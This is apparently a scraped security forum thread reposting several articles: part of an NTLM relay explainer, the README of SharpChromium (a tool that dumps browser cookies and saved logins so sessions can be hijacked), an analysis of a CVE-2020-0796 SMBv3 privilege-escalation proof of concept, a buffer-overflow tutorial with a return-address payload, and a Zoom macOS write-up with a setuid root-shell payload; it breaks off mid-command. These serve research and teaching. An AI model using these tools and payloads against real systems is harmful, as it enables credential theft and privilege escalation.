negotiation. There is no need for more information. In the case where both client and server support LDAP signing, then the NEGOTIATE_SIGN flag will be set and the packets will be signed. If one party requires signing, and the other party does not support it, then the session simply won’t start. The party requiring signing will ignore the unsigned packets. So now we then understand that, contrary to SMB, if we are between a client and a server and we want to relay an authentication to the server using LDAP, we need two things : The server must not require packet signing, which is the case for all machines by default The client must not set the NEGOTIATE_SIGN flag to 1. If he does, then the signature will be expected by the server, and since we don’t know the client’s secret, we won’t be able to sign our crafted LDAP packets. Regarding requirement 2, sometimes clients don’t set this flag, but unfortunately, the Windows SMB client sets it! By default, it is not possible to relay SMB authentication to LDAP. So why not just change the NEGOTIATE_FLAG flag and set it to 0? Well… NTLM messages are also signed. This is what we will see in the next paragraph. Authentication signing (MIC) We saw how a session could be protected against a middle man attacker. Now, to understand the interest of this chapter, let’s look at a specific case. Edge case Let’s imagine that an attacker manages to put himself in man-in-the-middle position between a client and a domain controller, and that he receives an authentication request via SMB. Knowing that a domain controller requires SMB signing, it is not possible for the attacker to relay this authentication via SMB. On the other hand, it is possible to change protocol, as we have seen above, and the attacker decides to relay to the LDAPS protocol, as authentication and session should be independant. Well, they are almost independent. Almost, because we saw that in the authentication data, there was the NEGOTIATE_SIGN flag which was only present to indicate whether the client and server supported signing. But in some cases, this flag is taken into account, as we saw with LDAP. Well for LDAPS, this flag is also taken into account by the server. If a server receives an authentication request with the NEGOTIATE_SIGN flag set to 1, it will reject the authentication. This is because LDAPS is LDAP over TLS, and it is TLS layer that handles packet signing (and encryption). Thus, an LDAPS client has no reason to indicate that it can sign its packets, and if it claims to be able to do so, the server laughs at it and slams the door. Now in our attack, the client we’re relaying wanted to authenticate via SMB, so yes, it supports packet signing, and yes, it sets the NEGOTIATE_SIGN flag to 1. But if we relay its authentication, without changing anything, via LDAPS, then the LDAPS server will see this flag, and will terminate the authentication phase, no question asked. We could simply modify the NTLM message and remove the flag, couldn’t we? If we could, we would, it would work well. Except that there is also a signature at NTLM level. That signature, it’s called the MIC, or Message Integrity Code. MIC - Message Integrity Code The MIC is a signature that is sent only in the last message of an NTLM authentication, the AUTHENTICATE message. It takes into account the 3 messages. The MIC is computed with HMAC_MD5 function, using as a key that depends on the client’s secret, called the session key. HMAC_MD5(Session key, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE) What is important is that the session key depends on the client’s secret, so an attacker can’t re-calculate the MIC. Here’s an example of MIC: Therefore, if only one of the 3 messages has been modified, the MIC will no longer be valid, since the concatenation of the 3 messages will not be the same. So you can’t change the NEGOTIATE_SIGN flag, as suggested in our example. What if we just remove the MIC? Because yes, the MIC is optional. Well it won’t work, because there is another flag that indicates that a MIC will be present, msAvFlags. It is also present in NTLM response and if it is 0x00000002, it tells the server that a MIC must be present. So if the server doesn’t see the MIC, it will know that there is something going on, and it will terminate the authentication. If the flag says there must be a MIC, then there must be a MIC. All right, and if we set that msAcFlags to 0, and we remove the MIC, what happens? Since there’s no more MICs, we can’t verify that the message has been changed, can we? … Well, we can. It turns out that the NTLMv2 Hash, which is the response to the challenge sent by the server, is a hash that takes into account not only the challenge (obviously), but also all the flags of the response. As you may have guessed, the flag indicating the MIC presence is part of this response. Changing or removing this flag would make the NTLMv2 hash invalid, since the data will have been modified. Here what it looks like. The MIC protects the integrity of the 3 messages, the msAvFlags protects the presence of the MIC, and the NTLMv2 hash protects the presence of the flag. The attacker, not being aware of the user’s secret, cannot recalculate this hash. So you will have understood that, we can do nothing in this case, and that’s thanks to the MIC. Drop the MIC A little review of a recent vulnerability found by Preempt that you will easily understand now. It’s CVE-2019-1040 nicely named Drop the MIC. This vulnerability showed that if the MIC was just removed, even if the flag indicated its presence, the server accepted the authentication without flinching. This was obviously a bug that has since been fixed. It has been integrated in ntlmrelayx tool via the use of the --remove-mic parameter. Let’s take our example from earlier, but this time with a domain controller that is still vulnerable. This is what it looks like in practice. Our attack is working. Amazing. For information, another vulnerability was discovered by the very same team, and they called it Drop The MIC 2. Session key Earlier we were talking about session and authentication signing, saying that to sign something you have to know the user’s secret. We said in the chapter about MIC that in reality it’s not exactly the user’s secret that is used, but a key called session key, which depends on the user’s secret. To give you an idea, here’s how the session key is computed for NTLMv1 and NTLMv2. # For NTLMv1 Key = MD4(Hash NT) # For NTLMv2 Key = HMAC_MD5(NTLMv2 Hash, HMAC_MD5(NTLMv2 Hash, NTLMv2 Response + Challenge)) Going into the explanations would not be very useful, but there is clearly a complexity difference from one version to the other. I repeat, do not use NTLMv1 in a production network. With this information, we understand that the client can compute this key on his side, since he has all the information in hand to do so. The server, on the other hand, can’t always do it alone, like a big boy. For local authentication, there is no problem since the server knows the user’s NT hash. On the other hand, for authentication with a domain account, the server will have to ask the domain controller to compute the session key for him, and send it back. We saw in pass-the-hash article that the server sends a request to the domain controller in a NETLOGON_NETWORK_INFO structure and the domain controller responds with a NETLOGON_VALIDATION_SAM_INFO4 structure. It is in this response from the domain controller that the session key is sent, if authentication is successful. The question then arises as to what prevents an attacker from making the same request to the domain controller as the target server. Well before CVE-2015-005, nothing! What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the authentication information being sent, was actually meant to the domain-joined machine that is requesting this operation (e.g. NetrLogonSamLogonWithFlags()). What this means is that any domain-joined machine can verify any pass-through authentication against the domain controller, and to get the base key for cryptographic operations for any session within the domain. So obviously, Microsoft has fixed this bug. To verify that only the server the user is authenticating to has the right to ask for the session key, the domain controller will verify that the target machine in the AUTHENTICATE response is the same as the host making the NetLogon request. In the AUTHENTICATE response, we detailed the presence of msAvFlags indicating whether or not the MIC is present, but there is also other information, such as the Netbios name of the target machine. This is the name that is compared with the host making the NetLogon request. Thus, if the attacker tries to make a NetLogon request for the session key, since the attacker’s name does not match the targeted host name in NTLM response, the domain controller will reject the request. Finally, in the same way as msAvFlags, we cannot change the machine name on the fly in the NTLM response, because it is taken into account in the calculation of the NTLMv2 response. A vulnerability similar to Drop the MIC 2 has been discovered recently by Preempt security team. Here is the link to their post if you’re curious. Channel Binding We’re going to talk about one last notion. Several times we have repeated that the authentication layer, thus NTLM messages, was almost independent of the application layer, the protocol in use (SMB, LDAP, …). I say “almost” because we have seen that some protocols use some NTLM messages flags to know if the session must be signed or not. In any case, as it stands, it is quite possible for an attacker to retrieve an NTLM message from protocol A, and send it back using protocol B. This is called cross-protocol relay as we already mentioned. Well, a new protection exists to counter this attack. It’s called channel binding, or EPA (Enhanced Protection for Authentication). The principle of this protection is to bind the authentication layer with the protocol in use, even with the TLS layer when it exists (LDAPS or HTTPS for example). The general idea being that in the last NTLM AUTHENTICATE message, a piece of information is put there and cannot be modified by an attacker. This information indicates the desired service, and potentially another information that contains the target server’s certificate’s hash. We’ll look at these two principles in a little more detail, but don’t you worry, it’s relatively simple to understand. Service binding This first protection is quite simple to understand. If a client wishes to authenticate to a server to use a specific service, the information identifying the service will be added in the NTLM response. This way, when the legitimate server receives this authentication, it can see the service that was requested by the client, and if it differs from what is actually requested, it will not agree to provide the service. Since the service name is in the NTLM response, it is protected by the NtProofStr response, which is an HMAC_MD5 of this information, the challenge, and other information such as msAvFlags. It is computed with the client’s secret. In the example shown in the last diagram, we see a client trying to authenticate itself via HTTP to the server. Except that the server is an attacker, and the attacker replays this authentication to a legitimate server, to access a network share (SMB). Except that the client has indicated the service he wants to use in his NTLM response, and since the attacker cannot modify it, he has to relay it as is. The server then receives the last message, compares the service requested by the attacker (SMB) with the service specified in the NTLM message (HTTP), and refuses the connection, finding that the two services do not match. Concretely, what is called service is in fact the SPN or Service Principal Name. I dedicated a whole article to the explanation of this notion. Here is a screenshot of a client sending SPN in its NTLM response. We can see that it indicates to use the CIFS service (equivalent to SMB, just a different terminology). Relaying this to an LDAP server that takes this information into account will result in a nice Access denied from the server. But as you can see, not only there is the service name (CIFS) but there is also the target name, or IP address. It means that if an attacker relays this message to a server, the server will also check the target part, and will refuse the connexion because the IP address found in the SPN does not match his IP address. So if this protection is supported by all clients and all servers, and is required by every server, it mitigaes all relay attempts. TLS Binding This time, the purpose of this protection is to link the authentication layer, i.e. NTLM messages, to the TLS layer that can potentially be used. If the client wants to use a protocol encapsulated in TLS (HTTPS, LDAPS for example), it will establish a TLS session with the server, and it will compute the server certificate hash. This hash is called the Channel Binding Token, or CBT. Once computed, the client will put this hash in its NTLM response. The legitimate server will then receive the NTLM message at the end of the authentication, read the provided hash, and compare it with the real hash of its certificate. If it is different, it means he wasn’t the original recipient of the NTLM exchange. Again, since this hash is in the NTLM response, it is protected by the NtProofStr response, like the SPN for Service Binding. Thanks to this protection, the following two attacks are no longer possible : If an attacker wishes to relay information from a client using a protocol without a TLS layer to a protocol with a TLS layer (HTTP to LDAPS, for example), the attacker will not be able to add the certificate hash from the target server into the NTLM response, since it cannot update the NtProofStr. If an attacker wishes to relay a protocol with TLS to another protocol with TLS (HTTPS to LDAPS), when establishing the TLS session between the client and the attacker, the attacker will not be able to provide the server certificate, since it does not match the attacker’s identity. It will therefore have to provide a “homemade” certificate, identifying the attacker. The client will then hash this certificate, and when the attacker relays the NTLM response to the legitimate server, the hash in the response will not be the same as the hash of the real certificate, so the server will reject the authentication. Here is a diagram to illustrate the 2nd case. Seems complicated, but it’s not. It shows the establishment of two TLS sessions. One between the client and the attacker (in red) and one between the attacker and the server (in blue). The client will retrieve the attacker’s certificate, and calculate a hash, cert hash, in red. At the end of the NTLM exchanges, this hash will be added in the NTLM response, and will be protected since it is part of the encrypted data of the NTLM response. When the server receives this hash, it will hash his own certificate, and seeing that it is not the same result, it will refuse the connection. Again, Preempt recently found a vulnerability which has been fixed since then. What can be relayed? With all this information, you should be able to know which protocols can be relayed to which protocols. We have seen that it is impossible to relay from SMB to LDAP or LDAPS, for example. On the other hand, any client that does not set the NEGOTIATE_SIGN flag can be relayed to LDAP if the signature is not required, or LDAPS is channel binding is not required. As there are many cases, here is a table summarizing some of them. I think we can’t relay LDAPS or HTTPS since the attacker doesn’t have a valid certificate but let’s say the client is permissive and allowed untrusted certificates. Other protocols could be added, such as SQL or SMTP, but I must admit I didn’t read the documentation for all the protocols that exist. Shame on me. For gray boxes, I don’t know how an HTTPS server handles an authentication with the NEGOTIATE_SIGN flag set to 1. Stop. Using. NTLMv1. Here is a little “fun fact” that Marina Simakov suggested me to add. As we discussed, NTLMv2 hash takes into account the server’s challenge, but also the msAvFlags flag which indicates the presence of a MIC field, the field indicating the NetBios name of the target host during authentication, the SPN in case of service binding, and the certificate hash in case of TLS binding. Well NTLMv1 protocol doesn’t do that. It only takes into account the server’s challenge. In fact, there is no longer any additional information such as the target name, the msAvFlags, the SPN or the CBT. So, if an NTLMv1 authentication is allowed by a server, an attacker can simply remove the MIC and thus relay authentications to LDAP or LDAPS, for example. But more importantly, he can make NetLogon requests to retrieve the session key. Indeed, the domain controller has no way to check if he has the right to do so. And since it won’t block a production network that isn’t completely up to date, it will kindly give it to the attacker, for “retro-compatibility reasons”. Once he has the session key, he can sign any packet that he wants. It means that even if the target requests signing, he will be able to do so. This is by design and it can not be fixed. So I repeat, do not allow NTLMv1 in a production network. Conclusion Well, that’s a lot of information. We have seen here the details of NTLM relay, being aware that authentication and session that follows are two distinct notions allowing to do cross-protocol relay in many cases. Although the protocol somehow includes authentication data, it is opaque to the protocol and managed by SSPI. We have also shown how packet signing can protect the server from man-in-the-middle attacks. To do this, the target must wait for signed packet coming from the client, otherwise the attacker will be able to pretend to be someone else without having to sign the messages he sends. We saw that MIC was very important to protect NTLM exchanges, especially the flag indicating whether packets will be signed for certain protocols, or information about channel binding. We ended by showing how channel binding can link the authentication layer and the session layer, either via the service name or via a link with the server certificate. I hope this long article has given you a better understanding of what happens during an NTLM relay attack and the protections that exist. Since this article is quite substantial, it is quite likely that some mistakes have slipped in. Feel free to contact me on twitter or on my Discord Server to discuss this. Active Directory Windows Author : Pixis Blog author, follow me on twitter or discord Sursa: https://en.hackndo.com/ntlm-relay/
-
- 1
-
-
SharpChromium Introduction SharpChromium is a .NET 4.0+ CLR project to retrieve data from Google Chrome, Microsoft Edge, and Microsoft Edge Beta. Currently, it can extract: Cookies (in JSON format) History (with associated cookies for each history item) Saved Logins Note: All cookies returned are in JSON format. If you have the extension Cookie Editor installed, you can simply copy and paste into the "Import" seciton of this browser addon to ride the extracted session. Advantages This rewrite has several advantages to previous implementations, which include: No Type compilation or reflection required Cookies are displayed in JSON format, for easy importing into Cookie Editor. No downloading SQLite assemblies from remote resources. Supports major Chromium browsers (but extendable to others) Usage Usage: .\SharpChromium.exe arg0 [arg1 arg2 ...] Arguments: all - Retrieve all Chromium Cookies, History and Logins. full - The same as 'all' logins - Retrieve all saved credentials that have non-empty passwords. history - Retrieve user's history with a count of each time the URL was visited, along with cookies matching those items. cookies [domain1.com domain2.com] - Retrieve the user's cookies in JSON format. If domains are passed, then return only cookies matching those domains. Otherwise, all cookies are saved into a temp file of the format ""%TEMP%\$browser-cookies.json"" Examples Retrieve cookies associated with Google Docs and Github .\SharpChromium.exe cookies docs.google.com github.com Retrieve history items and their associated cookies. .\SharpChromium.exe history Retrieve saved logins (Note: Only displays those with non-empty passwords): .\SharpChromium.exe logins Notes on the SQLite Parser The SQLite database parser is slightly bugged. This is due to the fact that the parser correctly detects data blobs as type System.Byte[], but it does not correctly detect columns of type System.Byte[]. As a result, the byte arrays get cast to the string literal "System.Byte[]", which is wrong. I haven't gotten to the root of this cause, but as a quick and dirty workaround I have encoded all blob values as Base64 strings. Thus if you wish to retrieve a value from a column whose regular data values would be a byte array, you'll need to Base64 decode them first. Special Thanks A large thanks to @plainprogrammer for their C#-SQLite project which allowed for native parsing of the SQLite files without having to reflectively load a DLL. Without their work this project would be nowhere near as clean as it is. That project can be found here: https://github.com/plainprogrammer/csharp-sqlite Thanks to @gentlekiwi whose work on Mimikatz guided the rewrite for the decryption schema in v80+ Thanks to @harmj0y who carved out the requisite PInvoke BCrypt code so I could remove additional dependencies from this project, making it light-weight again. Sursa: https://github.com/djhohnstein/SharpChromium
-
CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis 2020年04月02日 漏洞分析 · 404专栏 · 404 English Paper 目录 0x00 Background 0x01 Exploit principle 0x02 Get Token 0x03 Compressed Data 0x04 debugging 0x05 Elevation Author:SungLin@Knownsec 404 Team Time: April 2, 2020 Chinese version:https://paper.seebug.org/1164/ 0x00 Background On March 12, 2020, Microsoft confirmed that a critical vulnerability affecting the SMBv3 protocol exists in the latest version of Windows 10, and assigned it with CVE-2020-0796, which could allow an attacker to remotely execute the code on the SMB server or client. On March 13 they announced the poc that can cause BSOD, and on March 30, the poc that can promote local privileges was released . Here we analyze the poc that promotes local privileges. 0x01 Exploit principle The vulnerability exists in the srv2.sys driver. Because SMB does not properly handle compressed data packets, the function Srv2DecompressData is called when processing the decompressed data packets. The compressed data size of the compressed data header, OriginalCompressedSegmentSize and Offset, is not checked for legality, which results in the addition of a small amount of memory. SmbCompressionDecompress can be used later for data processing. Using this smaller piece of memory can cause copy overflow or out-of-bounds access. When executing a local program, you can obtain the current offset address of the token + 0x40 of the local program that is sent to the SMB server by compressing the data. After that, the offset address is in the kernel memory that is copied when the data is decompressed, and the token is modified in the kernel through a carefully constructed memory layout to enhance the permissions. 0x02 Get Token Let's analyze the code first. After the POC program establishes a connection with smb, it will first obtain the Token of this program by calling the function OpenProcessToken. The obtained Token offset address will be sent to the SMB server through compressed data to be modified in the kernel driver. Token is the offset address of the handle of the process in the kernel. TOKEN is a kernel memory structure used to describe the security context of the process, including process token privilege, login ID, session ID, token type, etc. Following is the Token offset address obtained by my test. 0x03 Compressed Data Next, poc will call RtCompressBuffer to compress a piece of data. By sending this compressed data to the SMB server, the SMB server will use this token offset in the kernel, and this piece of data is 'A' * 0x1108 + (ktoken + 0x40). The length of the compressed data is 0x13. After this compressed data is removed except for the header of the compressed data segment, the compressed data will be connected with two identical values 0x1FF2FF00BC, and these two values will be the key to elevation. 0x04 debugging Let's debug it first, because here is an integer overflow vulnerability. In the function srv2! Srv2DecompressData, an integer overflow will be caused by the multiplication 0xffff ffff * 0x10 = 0xf, and a smaller memory will be allocated in srvnet! SrvNetAllocateBuffer. After entering srvnet! SmbCompressionDecompress and nt! RtlDecompressBufferEx2 to continue decompression, then entering the function nt! PoSetHiberRange, and then starting the decompression operation, adding OriginalMemory = 0xffff ffff to the memory address of the UnCompressBuffer storage data allocated by the integer overflow just started Get an address far larger than the limit, it will cause copy overflow. But the size of the data we need to copy at the end is 0x1108, so there is still no overflow, because the real allocated data size is 0x1278, when entering the pool memory allocation through srvnet! SrvNetAllocateBuffer, finally enter srvnet! SrvNetAllocateBufferFromPool to call nt! ExAllocatePoolWithTag to allocate pool memory. Although the copy did not overflow, it did overwrite other variables in this memory, including the return value of srv2! Srv2DecompressDatade. The UnCompressBuffer_addressis fixed at 0x60, and the return value relative to the UnCompressBuffer_address offset is fixed at 0x1150, which means that the offset to store the address of the UnCompressBuffer relative to the return value is 0x10f0, and the address to store the offset data is 0x1168, relative to the storage decompression Data address offset is 0x1108. There is a question why it is a fixed value, because the OriginalSize = 0xffff ffff, offset = 0x10 passed in this time, the multiplication integer overflow is 0xf, and in srvnet! SrvNetAllocateBuffer, the size of the passed in 0xf is judged, which is less At 0x1100, a fixed value of 0x1100 will be passed in as the memory allocation value of the subsequent structure space for the corresponding operation, and when the value is greater than 0x1100, the size passed in will be used. Then return to the decompressed data. The size of the decompressed data is 0x13. The decompression will be performed normally. Copy 0x1108of "A", the offset address of the 8-byte token + 0x40 will be copied to the back of "A". After decompression and copying the decompressed data to the address that was initially allocated, exit the decompression function normally, and then call memcpy for the next data copy. The key point is that rcx now becomes the address of token + 0x40of the local program!!! After the decompression, the distribution of memory data is 0x1100 ('A') + Token = 0x1108, and then the function srvnet! SrvNetAllocateBuffer is called to return the memory address we need, and the address of v8 is just the initial memory offset 0x10f0, so v8 + 0x18 = 0x1108, the size of the copy is controllable, and the offset size passed in is 0x10. Finally, memcpy is called to copy the source address to the compressed data0x1FF2FF00BC to the destination address 0xffff9b893fdc46f0 (token + 0x40), the last 16 Bytes will be overwritten, the value of the token is successfully modified. 0x05 Elevation The value that is overwritten is two identical 0x1FF2FF00BC. Why use two identical values to overwrite the offset of token + 0x40? This is one of the methods for operating the token in the windows kernel to enhance the authority. Generally, there are two methods. The first method is to directly overwrite the Token. The second method is to modify the Token. Here, the Token is modified. In windbg, you can run the kd> dt _token command to view its structure. So modify the value of _SEP_TOKEN_PRIVILEGES to enable or disable it, and change the values of Present and Enabled to all privileges of the SYSTEM process token 0x1FF2FF00BC, and then set the permission to: This successfully elevated the permissions in the kernel, and then execute any code by injecting regular shellcode into the windows process "winlogon.exe": Then it performed the action of the calculator as follows: Reference link: https://github.com/eerykitty/CVE-2020-0796-PoC https://github.com/danigargu/CVE-2020-0796 https://ired.team/miscellaneous-reversing-forensics/windows-kernel/how-kernel-exploits-abuse-tokens-for-privilege-escalation 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1165/ Sursa: https://paper.seebug.org/1165/
-
Binary Exploitation 01 — Introduction Silaghi Fineas Mar 31 · 4 min read GREETINGS FELLOW HACKERS! It’s been a while since our last post, but this is because we’ve prepared something for you: a multi episodes Binary Exploitation Series. Without further ado, let’s get started. What is Memory Corruption? It might sound familiar, but what does it really mean? Memory Corruption is a vast area which we will explore more along this series, but for now, it is important to remember that it refers to the action of “modifying a binary’s memory in a way that was not intended”. Basically any kind of system-level exploit involves some kind of memory corruption. Let’s have a look at an example: We will consider the following program. A short program that asks for user input. If the input matches Admin’s secret Password, we will be granted Admin privileges, otherwise we will be a normal User. How can we become an Admin without knowing the Password? One solution is to brute-force the password. This approach might work for a short password, but for a 32bytes password, it’s useless. Then what can we do? Let’s play with random input values: “Welcome Admin”, what just happened? Let’s take a closer look at the memory level, using a debugger, and understand why we became Admin. We can see that the INPUT we enter will be loaded on the stack (“A stack is an area of memory for storing data temporarily”) at RBP-0x30 and the AUTH variable is located on the stack at RBP-0x4. Another aspect we can observe is that the “gets” function has no limit for the number of characters it reads. Thus, we can enter more than 32 characters. This will lead to a so called: Buffer Overflow. As we can see, our input ( ‘A’*32 + ‘a’*16) will overflow the user_input buffer and overwrite the auth variable, thus giving us Admin privileges. Think this is cool? Just wait, there’s even more. We have seen that by performing buffer overflows we can overwrite variables on the stack. But is that all we can really do? Let’s have a quick look into how functions work. Whenever a function is called, we can see that a value is pushed to the stack. That value is what we call a “return address”. After the function finishes executing, it can return to the function that called it using the “return address”. So if the return address is placed on the stack and we can perform a buffer overflow, can we overwrite it? Let’s try. Running the program with big input As we can see, the program returned a “Segmentation Fault” because, when the main function finished executing it tried to use the “return address”, but the return address was overwritten with A’s by out input. So what does this mean? This means that we can take over the execution flow by overwriting the “return address” with an address of another function. Let’s try to redirect the execution of the program to the takeover_the_world() function. The function is located at address: 0x00000000004005c7 (one way we can find this is us the command: objdump -d program_name). Putting things together we get the following input (payload): ‘A’*32 + ‘a’*16 + ‘\xc7\x05\x40\x00\x00\x00\x00\x00’ And we got a shell. Hurray! Concluding this first part, I hope I have aroused your curiosity and interest in this wonderful topic. Buffer overflows are one of the many ways memory corruption can be achieved. In the upcoming episodes we will explore more techniques and strategies. Until next time! Sursa: https://medium.com/cyber-dacians/binary-exploitation-01-introduction-9fcd2cdce9c6
-
Objective See The 'S' in Zoom, Stands for Security uncovering (local) security flaws in Zoom's latest macOS client by: Patrick Wardle / March 30, 2020 Our research, tools, and writing, are supported by the "Friends of Objective-See" such as: CleanMy Mac X Malwarebytes Airo AV Become a Friend! 📝 Update: Zoom has patched both bugs in Version 4.6.9 (19273.0402): For more details see: New Updates for macOS Background Given the current worldwide pandemic and government sanctioned lock-downs, working from home has become the norm …for now. Thanks to this, Zoom, “the leader in modern enterprise video communications” is well on it’s way to becoming a household verb, and as a result, its stock price has soared! 📈 However if you value either your (cyber) security or privacy, you may want to think twice about using (the macOS version of) the app. In this blog post, we’ll start by briefly looking at recent security and privacy flaws that affected Zoom. Following this, we’ll transition into discussing several new security issues that affect the latest version of Zoom’s macOS client. 📝 Though the new issues we'll discuss today remain unpatched, they both are local security issues. As such, to be successfully exploited they required that malware or an attacker already have a foothold on a macOS system. Though Zoom is incredibly popular it has a rather dismal security and privacy track record. In June 2019, the security researcher Jonathan Leitschuh discovered a trivially exploitable remote 0day vulnerability in the Zoom client for Mac, which “allow[ed] any malicious website to enable your camera without your permission” 😱 “This vulnerability allows any website to forcibly join a user to a Zoom call, with their video camera activated, without the user’s permission. Additionally, if you’ve ever installed the Zoom client and then uninstalled it, you still have a localhost web server on your machine that will happily re-install the Zoom client for you, without requiring any user interaction on your behalf besides visiting a webpage. This re-install ‘feature’ continues to work to this day.” -Jonathan Leitschuh 📝 Interested in more details? Read Jonathan's excellent writeup: "Zoom Zero Day: 4+ Million Webcams & maybe an RCE?". Rather hilariously Apple (forcibly!) removed the vulnerable Zoom component from user’s macs worldwide via macOS’s Malware Removal Tool (MRT😞 AFAIK, this is the only time Apple has taken this draconian action: More recently Zoom suffered a rather embarrassing privacy faux pas, when it was uncovered that their iOS application was, “send[ing] data to Facebook even if you don’t have a Facebook account” …yikes! 📝 Interested in more details? Read Motherboard's writeup: "Zoom iOS App Sends Data to Facebook Even if You Don't Have a Facebook Account". Although Zoom was quick to patch the issue (by removing the (ir)responsible code), many security researchers were quick to point out that said code should have never made it into the application in the first place: And finally today, noted macOS security researcher Felix Seele (and #OBTS v2.0 speaker!) noted that Zoom’s macOS installer (rather shadily) performs it’s “[install] job without you ever clicking install": "This is not strictly malicious but very shady and definitely leaves a bitter aftertaste. The application is installed without the user giving his final consent and a highly misleading prompt is used to gain root privileges. The same tricks that are being used by macOS malware." -Felix Seele 📝 For more details on this, see Felix's comprehensive blog post: "Good Apps Behaving Badly: Dissecting Zoom’s macOS installer workaround" The (preinstall) scripts mentioned by Felix, can be easily viewed (and extracted) from Zoom’s installer package via the Suspicious Package application: Local Zoom Security Flaw #1: Privilege Escalation to Root Zoom’s security and privacy track record leaves much to be desired. As such, today when Felix Seele also noted that the Zoom installer may invoke the AuthorizationExecuteWithPrivileges API to perform various privileged installation tasks, I decided to take a closer look. Almost immediately I uncovered several issues, including a vulnerability that leads to a trivial and reliable local privilege escalation (to root!). Stop me if you’ve heard me talk (rant) about this before, but Apple clearly notes that the AuthorizationExecuteWithPrivileges API is deprecated and should not be used. Why? Because the API does not validate the binary that will be executed (as root!) …meaning a local unprivileged attacker or piece of malware may be able to surreptitiously tamper or replace that item in order to escalate their privileges to root (as well): At DefCon 25, I presented a talk titled: “Death By 1000 Installers” that covers this in great detail: …moreover in my blog post “Sniffing Authentication References on macOS” from just last week, we covered this in great detail as well! Finally, this insecure API was (also) discussed in detail in at “Objective by the Sea” v3.0, in a talk (by Julia Vashchenko) titled: “Job(s) Bless Us! Privileged Operations on macOS": Now it should be noted that if the AuthorizationExecuteWithPrivileges API is invoked with a path to a (SIP) protected or read-only binary (or script), this issue would be thwarted (as in such a case, unprivileged code or an attacker may not be able subvert the binary/script). So the question here, in regards to Zoom is; “How are they utilizing this inherently insecure API”? Because if they are invoking it insecurely, we may have a lovely privilege escalation vulnerability! As discussed in my DefCon presentation, the easiest way is answer this question is simply to run a process monitor, execute the installer package (or whatever invokes the AuthorizationExecuteWithPrivileges API) and observe the arguments that are passed to the security_authtrampoline (the setuid system binary that ultimately performs the privileged action): The image above illustrates the flow of control initiated by the AuthorizationExecuteWithPrivileges API and shows how the item (binary, script, command, etc) to is to be executed with root privileges is passed as the first parameter to security_authtrampoline process. If this parameter, this item, is editable (i.e. can be maliciously subverted) by an unprivileged attacker then that’s a clear security issue! Let’s figure out what Zoom is executing via AuthorizationExecuteWithPrivileges! First we download the latest version of Zoom’s installer for macOS (Version 4.6.8 (19178.0323)) from https://zoom.us/download: Then, we fire up our macOS Process Monitor (https://objective-see.com/products/utilities.html#ProcessMonitor), and launch the Zoom installer package (Zoom.pkg). If the user installing Zoom is running as a ‘standard’ (read: non-admin) user, the installer may prompt for administrator credentials: …as expected our process monitor will observe the launching (ES_EVENT_TYPE_NOTIFY_EXEC) of /usr/libexec/security_authtrampoline to handle the authorization request: # ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "/usr/libexec/security_authtrampoline", "./runwithroot", "auth 3", "/Users/tester/Applications/zoom.us.app", "/Applications/zoom.us.app" ], "ppid" : 1876, "ancestors" : [ 1876, 1823, 1820, 1 ], "signing info" : { "csFlags" : 603996161, "signatureIdentifier" : "com.apple.security_authtrampoline", "cdHash" : "DC98AF22E29CEC96BB89451933097EAF9E01242", "isPlatformBinary" : 1 }, "path" : "/usr/libexec/security_authtrampoline", "pid" : 1882 }, "timestamp" : "2020-03-31 03:18:45 +0000" } And what is Zoom attempting to execute as root (i.e. what is passed to security_authtrampoline?) …a bash script named runwithroot. If the user provides the requested credentials to complete the install, the runwithroot script will be executed as root (note: uid: 0😞 { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "/bin/sh", "./runwithroot", "/Users/tester/Applications/zoom.us.app", "/Applications/zoom.us.app" ], "ppid" : 1876, "ancestors" : [ 1876, 1823, 1820, 1 ], "signing info" : { "csFlags" : 603996161, "signatureIdentifier" : "com.apple.sh", "cdHash" : "D3308664AA7E12DF271DC78A7AE61F27ADA63BD6", "isPlatformBinary" : 1 }, "path" : "/bin/sh", "pid" : 1882 }, "timestamp" : "2020-03-31 03:18:45 +0000" } The contents of runwithroot are irrelevant. All that matters is, can a local, unprivileged attacker (or piece of malware) subvert the script prior its execution as root? (As again, recall the AuthorizationExecuteWithPrivileges API does not validate what is being executed). Since it’s Zoom we’re talking about, the answer is of course yes! 😅 We can confirm this by noting that during the installation process, the macOS Installer (which handles installations of .pkgs) copies the runwithroot script to a user-writable temporary directory: tester@users-Mac T % pwd /private/var/folders/v5/s530008n11dbm2n2pgzxkk700000gp/T tester@users-Mac T % ls -lart com.apple.install.v43Mcm4r total 27224 -rwxr-xr-x 1 tester staff 70896 Mar 23 02:25 zoomAutenticationTool -rw-r--r-- 1 tester staff 513 Mar 23 02:25 zoom.entitlements -rw-r--r-- 1 tester staff 12008512 Mar 23 02:25 zm.7z -rwxr-xr-x 1 tester staff 448 Mar 23 02:25 runwithroot ... Lovely - it looks like we’re in business and may be able to gain root privileges! Exploitation of these types of bugs is trivial and reliable (though requires some patience …as you have to wait for the installer or updater to run!) as is show in the following diagram: To exploit Zoom, a local non-privileged attacker can simply replace or subvert the runwithroot script during an install (or upgrade?) to gain root access. For example to pop a root shell, simply add the following commands to the runwithroot script: 1cp /bin/ksh /tmp 2chown root:wheel /tmp/ksh 3chmod u+s /tmp/ksh 4open /tmp/ksh Le boom 💥: Local Zoom Security Flaw #2: Code Injection for Mic & Camera Access In order for Zoom to be useful it requires access to the system’s mic and camera. On recent versions of macOS, this requires explicit user approval (which, from a security and privacy point of view is a good thing): Unfortunately, Zoom has (for reasons unbeknown to me), a specific “exclusion” that allows malicious code to be injected into its process space, where said code can piggy-back off Zoom’s (mic and camera) access! This give malicious code a way to either record Zoom meetings, or worse, access the mic and camera at arbitrary times (without the user access prompt)! Modern macOS applications are compiled with a feature called the “Hardened Runtime”. This security enhancement is well documented by Apple, who note: "The Hardened Runtime, along with System Integrity Protection (SIP), protects the runtime integrity of your software by preventing certain classes of exploits, like code injection, dynamically linked library (DLL) hijacking, and process memory space tampering." -Apple I’d like to think that Apple attended my 2016 at ZeroNights in Moscow, where I noted this feature would be a great addition to macOS: We can check that Zoom (or any application) is validly signed and compiled with the “Hardened Runtime” via the codesign utility: $ codesign -dvvv /Applications/zoom.us.app/ 